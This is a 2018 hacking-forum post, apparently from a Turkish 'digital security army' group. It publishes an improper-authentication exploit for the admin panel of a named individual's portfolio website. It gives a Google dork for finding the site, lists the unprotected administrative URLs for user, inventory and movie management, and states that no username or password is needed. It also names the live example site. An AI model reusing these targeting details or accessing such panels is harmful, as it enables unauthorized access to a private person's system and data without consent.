Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: The Web Portfolio of Franny Howes Impr Auth Vuln
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 55
Yaşam Puanı: 1,372 / 1,372
Deneyim: 91 / 100
Rep Sayısı: 2768
Mesaj Sayısı: 6325
Üyelik Tarihi: 21.08.2013
     
Yorum: #1
The Web Portfolio of Franny Howes Impr Auth Vuln
30.06.2018 13:10
################################################################################​#################

# Exploit Title : The Web Portfolio of Franny Howes LittlePinkMafia Improper Authentication Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 30/06/2018
# Owner Social Media Link : twitter.com/tesseractive
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-592 [ Authentication Bypass Issues ]
+ CWE-287 [ Improper Authentication ]

################################################################################​#################

# Google Dork : intext:''email me at fhowes at vt dot edu''

# Administration Control Panel => /videostore/index.php

Useable URL Links in the Panel =>

/videostore/finduser.php
/videostore/newuserform.php
/videostore/manageinventory.php
/videostore/newmovie.php
/videostore/addinventoryitem.php
/videostore/returnmovie.php

# Exploit : No username No password. Just enter the URL Link.

################################################################################​#################

# Example Site => littlepinkmafia.org/videostore/index.php => [ Proof of Concept for the Vulnerability ] => archive.is/usKqY

################################################################################​#################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

################################################################################​#################

We don't care what people think about us, we are proud of us, we not gonna change for anyone. I do not have own no website. No Contact. # KingSkrupellos # Cyberizm Digital Security Technological Turkish Moslem Army.



Alinti



1 Ziyaretçi